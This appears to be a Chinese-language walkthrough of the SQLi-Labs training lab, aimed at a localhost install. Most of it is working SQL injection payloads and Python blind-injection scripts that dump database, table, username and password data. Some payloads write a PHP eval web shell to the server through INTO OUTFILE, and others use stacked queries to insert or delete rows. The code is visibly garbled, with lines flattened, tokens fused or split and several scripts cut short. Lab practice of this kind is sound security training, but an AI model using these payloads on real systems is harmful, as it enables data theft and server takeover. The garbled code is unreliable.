Select * from products where productid=1;DELETE FROM products
order by 处的注入
1
$sql = "SELECT * FROM users ORDER BY $id";
Method
usage
1
直接添加注入语句,?sort=(select **)
2
利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
3
利用 and,例如?sort=1 and (加 sql 语句)。
可以配合布尔、延时、报错
SQLI-Labs
basic
0x01
此题测试为主
可以尝试万能密码、union查找以及基本的注入流程
union
1 2 3 4 5 6 7 8 9
# 爆数据库 ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 1,10--+ #爆 security 数据库的数据表 ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+ #爆 users 表的列 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ # 爆 id ,username ,password ?id=-1' union select group_concat(id) ,group_concat(username),group_concat(concat('pass','word')) from users --+
defdatabase_len(): for i in range(1,10): url = '''http://localhost/useful/sqlilabs/Less-5/index.php''' payload = '''?id=1' and length(database())=%s''' % i #print(url+payload+'%23') r = requests.get(url + payload + '%23') if'You are in'in r.text: print('length:',i) else: continue database_len()
#获取数据库名 defdatabase_name(): name = '' for j in range(1, 9): for i in'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz': url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % ( j, i) #print(url+'%23') r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('database_name:', name)
database_name()
# 获取数据库表 deftables_name(): name = '' for j in range(1, 30): for i in'abcdefghijklmnopqrstuvwxyz,': url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s'" % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('table_name:', name)
tables_name()
# 获取表中字段 defcolumns_name(): name = '' for j in range(1, 30): for i in'abcdefghijklmnopqrstuvwxyz,': url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s'" % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('column_name:', name)
columns_name()
# 获取username defusername_value(): name = '' for j in range(1, 100): for i in'0123456789abcdefghijklmnopqrstuvwxyz,_-': url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(username) from users),%d,1)='%s'" % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('username_value:', name)
username_value()
# 获取password defpassword_value(): name = '' for j in range(1, 100): for i in'0123456789abcdefghijklmnopqrstuvwxyz,_-': url = "http://localhost/useful/sqlilabs/Less-5/index.php?id=1' and substr((select group_concat(password) from users),%d,1)='%s'" % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i
#print(name)
break print('password_value:', name)
password_value()
报错注入
1 2
?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
1 2
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
1 2
?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
1 2
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
前辈讲的其他方法有些无法使用可能与版本有关
double 类型超过范围
1 2
?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2, 3--+
利用bigint 溢出进行报错注入
1 2
/?id=1' union select (!(select * from (select user())x) - ~0),2,3- -+
?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+
defdatabase_len(): for i in range(1,10): url = '''http://localhost/useful/sqlilabs/Less-6/index.php''' payload = '''?id=1" and length(database())=%s''' % i #print(url+payload+'%23') r = requests.get(url + payload + '%23') if'You are in'in r.text: print('length:',i) else: continue database_len()
#获取数据库名 defdatabase_name(): name = '' for j in range(1, 9): for i in'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz': url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr(database(),%d,1)="%s"''' % ( j, i) #print(url+'%23') r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('database_name:', name)
database_name()
# 获取数据库表 deftables_name(): name = '' for j in range(1, 30): for i in'abcdefghijklmnopqrstuvwxyz,': url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)="%s"''' % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('table_name:', name)
tables_name()
# 获取表中字段 defcolumns_name(): name = '' for j in range(1, 30): for i in'abcdefghijklmnopqrstuvwxyz,': url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)="%s"''' % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('column_name:', name)
columns_name()
# 获取username defusername_value(): name = '' for j in range(1, 100): for i in'0123456789abcdefghijklmnopqrstuvwxyz,_-': url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1“ and substr((select group_concat(username) from users),%d,1)="%s"''' % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i #print(name) break print('username_value:', name)
username_value()
# 获取password defpassword_value(): name = '' for j in range(1, 100): for i in'0123456789abcdefghijklmnopqrstuvwxyz,_-': url = '''http://localhost/useful/sqlilabs/Less-6/index.php?id=1" and substr((select group_concat(password) from users),%d,1)="%s"''' % ( j, i) r = requests.get(url + '%23') if'You are in'in r.text: name = name + i
http://localhost/useful/sqlilabs/Less-7 ?id=')) union select null,null,"<?php @eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\cmd.php" --+
or
1 2
http://localhost/useful/sqlilabs/Less-7 ?id=')) union select null,null,1 into outfile "D:\\phpstudy_pro\\WWW\\2.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b27636d64275d293f3e --+
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import time ''' https://docs.ioin.in/writeup/www.ch1st.cn/_/index.html ''' url="http://localhost/useful/sqlilabs/Less-9/" value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789"
length_database=0 defsql_len(): for i in range(1,12): payload="?id=1'and if (length(database())=%d ,sleep(2),null);--+" %i get_url = url + payload starttime = time.time() r = requests.get(get_url) if time.time()-starttime>=1: length_database = i print ('%d: ' %i+ str(time.time()-starttime)) break print("[+]数据库长度:"+str(length_database)) return length_database
defsql_data(): data="" length=1+sql_len() #print(length) for i in range(1,length): for j in value: payload="?id=1' and if (mid(database(),%d,1)='%s' ,sleep(2),null);--+" %(i,j) get_url = url + payload #print(get_url) starttime = time.time() r = requests.get(get_url) if time.time()-starttime>=1: data=data+j #print(data) break print("[+]数据库名:"+data)
sql_data()
0x09
还是延时注入
1
http://localhost/useful/sqlilabs/Less-9/?id=1' and sleep(1) --+
import requests value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!0123456789" data=""
#来源:https://blog.csdn.net/vhkjhwbs/article/details/98960802 # 需要 不断 手工调整 url 和 url_length 中的 limit 的第一个参数 来获取下一行的数据 url = '''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(3),NULL); %23''' url_length='''http://localhost/useful/sqlilabs/Less-10/?id=1" and if((length(({0} limit 1,1))={1} ),sleep(3),NULL); %23''' defget_length(payload): for n in range(1,20): url= url_length.format(payload,n) #print(url) if(get_respone(url)): print("[+] length is {0}".format(n)) return n defget_data(payload,value,length): for n in range(1,length): for v in value : url_data = url.format(payload,n,ord(v)) #ord()返回字符的ASCII码 #print(url_data) if(get_respone(url_data)): global data data=data+v print("[+] data is {0}".format(data)) break defget_respone(url): try: html = requests.get(url,timeout=2) returnFalse except Exception as e: print("......") returnTrue #可以更改payload 来获取需要的数据 databse_payload ="select database()" get_data(databse_payload,value,get_length(databse_payload)+1)
0x11
Post
1 2 3 4
uname=admin' order by 2 --+&passwd=&submit=Submit uname=admin' union select 1,database() limit 1,1--+&passwd=&submit=Submit uname=admin' union select group_concat(schema_name),2 from information_schema.schemata limit 1,1--+&passwd=&submit=Submit
11~12 类似,只是闭合方式不同,可以直接输出查询值
0x12
1
uname=admin") --+&passwd=&submit=Submit
0x13
1 2 3
uname=admin')--+&passwd=&submit=Submit
uname=admin') and (extractvalue(1, concat(0x5c,(select version() ))));--+&passwd=&submit=Submit
13~14类似,也只是闭合方式不同。
0x14
1
uname=admin" --+&passwd=&submit=Submit
0x15
//print_r(mysql_error()); 关闭报错信息
可以使用fuzz的方式,如使用bp爆破或python爆破的方式猜测闭合方式。
如:
1 2 3 4
admin' and sleep(10) # admin') and sleep(10) # admin" and sleep(10) # admin") and sleep(10) #
import requests chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~" result = "" defget_length():#获取要查询的数据的长度 for n in range(1,100): payload = "admin' and length(({0})) ={1} #".format(data_payload,n) data = {"uname":payload,"passwd":"admin"} res = requests.post(url,data=data) if'flag.jpg'in res.text: print("……data length is :" + str(n)) return n defget_data(data_length):#获取数据 global result for i in range(1,data_length): for char in chars: payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char)) #print(payload) data = {"uname":payload,"passwd":"admin"} res = requests.post(url,data=data) if'flag.jpg'in res.text: #根据返回图片的不同来判断字符正确与否 result += char #print("…… data is :"+ result) break url = "http://localhost/useful/sqlilabs/Less-15/" data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
import requests import time value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!" result="" defget_length():#获取数据的长度 for n in range(1, 100): payload = '''admin") and if((length(({0} ))={1}),sleep(4),1) #'''.format(data_payload, n) data = {"uname": payload, "passwd": "admin", "submit": "submit"} start_time = time.time() html = requests.post(url, data=data) end_time = time.time() use_time = end_time - start_time if use_time > 3: print("...... data's length is :"+ str(n)) return n defget_data(length):#获取数据 global result for n in range(1,length): for v in value: payload = '''admin") and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(5),1) #'''.format(data_payload,n,ord(v)) data = {"uname":payload,"passwd":"admin","submit":"submit"} start_time = time.time() requests.post(url,data=data) end_time = time.time() use_time = end_time - start_time # if use_time >4: result += v print("......"+result) url = "http://localhost/useful/sqlilabs/Less-16/" data_payload ="select group_concat(table_name,0x7e)from information_schema.tables where table_schema=database()" length = get_length() + 1 get_data(length) print(".....data is :"+ result)
0x17
update table_name set column_name = ‘xxxx’ where key_word = ‘xxx’;
使用报错注入
1 2 3 4 5
uname=admin&passwd=1' and extractvalue(0x0a,concat(0x0a,(selectdatabase()))) --+&submit=Submit
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select1,2,'3
修改联合查找的第二列,可以继续查询数据库
1 2 3 4 5 6 7
http://localhost/useful/sqlilabs/Less-23/?id==-1' union select1,(selectgroup_concat(schema_name)from information_schema.schemata), '3 http://localhost/useful/sqlilabs/Less-23/?id=-1'unionselect1,(selectgroup_concat(table_name) from information_schema.tables where table_schema='mysql'),'3 http://localhost/useful/sqlilabs/Less-23/?id=-1'unionselect1,(selectgroup_concat(column_name) from information_schema.columns where table_name = 'user'and table_schema='mysql'),'2 http://localhost/useful/sqlilabs/Less-23/?id=-1'unionselect1,(selectgroup_concat(Host) from mysql.user),'2
0x24
二次注入
已有账号
1 2 3 4 5 6 7
mysql> select * from users where username like 'root%'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 15 | root | 12 | +----+----------+----------+ 1 row in set (0.00 sec)
注册账号
1 2 3 4 5 6 7 8 9 10 11
username = root'# password = 1
mysql> select * from users where username like 'root%'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 15 | root | 12 | | 28 | root'# | 1 | +----+----------+----------+ 2 rows in set (0.00 sec)
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; }
defget_result_length(payload,Value): for n in range(1,100): url = url_length.format(payload,n) #print(url) response = requests.get(url) if Value in response.text: print("……data length is :" + str(n)) return n
defget_db_name(data_length,payload,Value): for i in range(1,data_length): for char in chars: url = url_template.format(payload,i,ord(char)) response = requests.get(url) if Value in response.text: global result result += char #print("…… data is :"+ result) break payload = "database() "
data_length = get_result_length(payload,Value)+1 get_db_name(data_length,payload,Value ) print("…… data is :"+ result)
0x26
1 2 3 4 5 6 7 8 9 10 11 12
functionblacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; }
// take the variables if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']); //echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);
// connectivity
mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
1
http://localhost/useful/sqlilabs/Less-33/?id=100%df' union select1 ,user(),3--+
0x34
post传值
1 2 3 4 5 6 7
uname=admin%df' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&passwd=1&submit=Submit
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\46.txt"
or
1
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\shell.php" fields terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d29203f3e
0x47
与46相仿,更改闭合方式。
1
http://localhost/useful/sqlilabs/Less-47/?sort=1' and 1='1
mysql> select * from users where id =108; +-----+----------+----------+ | id | username | password | +-----+----------+----------+ | 108 | xz | xz | +-----+----------+----------+ 1 row in set (0.00 sec)
0x52
1 2 3 4 5 6 7 8 9
http://localhost/useful/sqlilabs/Less-52/?sort=1; insert into users values(110, "xzas" ,"xzas");--+
mysql> select * from users where id =110; +-----+----------+----------+ | id | username | password | +-----+----------+----------+ | 110 | xzas | xzas | +-----+----------+----------+ 1 row in set (0.00 sec)
0x53
方法一致,但无报错信息
Challenge
The objective of this challenge is to dump the (secret key) from only random table from Database (‘CHALLENGES’)\ in Less than 10 attempts For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.
0x54
0x01
发现有错误反馈….这个测试就有可能浪费3次机会
1
http://localhost/useful/sqlilabs/Less-54/?id=1'
闭合方式为'$id'
0x02
查询列数
1 2
http://localhost/useful/sqlilabs/Less-54/?id=1' order by 3 --+ http://localhost/useful/sqlilabs/Less-54/?id=1' order by 4 --+
0x03
1 2 3 4 5 6
http://localhost/useful/sqlilabs/Less-54/?id=1' union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges' limit 1,1 --+
Your Login name:8wa5ejm0ss Your Password:
0x04
1 2 3 4 5
http://localhost/useful/sqlilabs/Less-54/?id=1' union select null,group_concat(column_name),null from information_schema.columns where table_schema ='challenges' and table_name ='8wa5ejm0ss' limit 1,1 --+
Your Login name:id,sessid,secret_J953,tryy Your Password:
0x05
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
http://localhost/useful/sqlilabs/Less-54/?id=-1' union select null,group_concat(secret_J953),null from 8wa5ejm0ss --+ Your Login name:CLo9ApzqNn00JE7qGL9p9VwI Your Password:
http://localhost/useful/sqlilabs/Less-54/?id=-1' union select null,group_concat(sessid),null from 8wa5ejm0ss --+
Your Login name:f50a6c02a3fc5a3a5d4d9391f05f3efc Your Password:
0x55
1
http://localhost/useful/sqlilabs/Less-55/?id=1) and 1=(1
手动爆破闭合方式后的步骤,与54一样。
0x56
与54、55相似,同时还可以根据上面的记录,减去爆破次数。
0x57
1 2
http://localhost/useful/sqlilabs/Less-57/?id=1" union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges' limit 1,1 --+
0x58
1 2 3
http://localhost/useful/sqlilabs/Less-58/?id=1' union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' ppz1yfhunl'
0x59
1 2 3 4 5 6 7
http://localhost/useful/sqlilabs/Less-59/?id=1 union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' dlzf6nx0jj'
0x60
闭合方式不同
1 2 3
http://localhost/useful/sqlilabs/Less-60/?id=1") union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
XPATH syntax error: ' dlzf6nx0jj'
0x61
……. 原来还有(($id))的闭合方式
1 2 3
http://localhost/useful/sqlilabs/Less-61/?id=1')) union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+
url = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(3),NULL); %23''' url_1 = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) > '{2}'),sleep(3),NULL); %23''' url_2 = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) < '{2}'),sleep(3),NULL); %23'''
table_name = "" table_name_payload ="select group_concat(table_name) from information_schema.tables where table_schema =0x6368616c6c656e676573"
count = 0
defget_respone(url): global count count = count + 1 if count >130: print("game over") starttime = time.time() html = requests.get(url) if time.time() -starttime >= 2: returnTrue else: returnFalse
defget_table(payload,low,high): global table_name for n in range(low,high): url_data = url_1.format(payload,n,60) print(url_data) if(get_respone(url_data)): low = 97 high = 123 mid = (low + high) // 2 while low <= high: if get_respone(url_2.format(payload,n,mid)): #print(url_2.format(payload,n,mid)) high = mid - 1 mid = (low + high) //2 elif get_respone(url_1.format(payload,n,mid)): #print(url_1.format(payload,n,mid)) low = mid + 1 mid = (low + high) //2 else: print(chr(mid)) table_name = table_name + chr(mid) break else: low = 48 high = 57 mid = (low + high) // 2 while low <= high: if get_respone(url_2.format(payload,n,mid)): high = mid - 1 mid = (low + high) //2 elif get_respone(url_1.format(payload,n,mid)): low = mid + 1 mid = (low + high) //2 else: print(chr(mid)) table_name = table_name + chr(mid) break print("[table_name]:"+table_name)
get_table(table_name_payload,1,11)
''' table_name_bytes = bytes.fromhex(table_name) table_name_tmp = ''.join(['%02x' % b for b in table_name_bytes]) table_name_hex = '0x'+table_name_tmp '''
coloumn_name_payload = "select group_concat(column_name) from information_schema.columns where table_schema = 0x6368616c6c656e676573 and table_name = "+table_name_hex coloumn_name = ""
print(coloumn_name_payload)
defget_column(payload,low,high): global coloumn_name for n in range(low,high): url_data = url_1.format(payload,n,60) print(url_data) if(get_respone(url_data)): low = 65 high = 90 mid = (low + high) // 2 while low <= high: if get_respone(url_2.format(payload,n,mid)): #print(url_2.format(payload,n,mid)) high = mid - 1 mid = (low + high) //2 elif get_respone(url_1.format(payload,n,mid)): #print(url_1.format(payload,n,mid)) low = mid + 1 mid = (low + high) //2 else: #print(chr(mid)) coloumn_name = coloumn_name + chr(mid) break else: low = 48 high = 57 mid = (low + high) // 2 while low <= high: if get_respone(url_2.format(payload,n,mid)): high = mid - 1 mid = (low + high) //2 elif get_respone(url_1.format(payload,n,mid)): low = mid + 1 mid = (low + high) //2 else: #print(chr(mid)) coloumn_name = coloumn_name + chr(mid) break print("[column_name]:id,sessid,secret_"+coloumn_name+",tryy") get_column(coloumn_name_payload,18,22)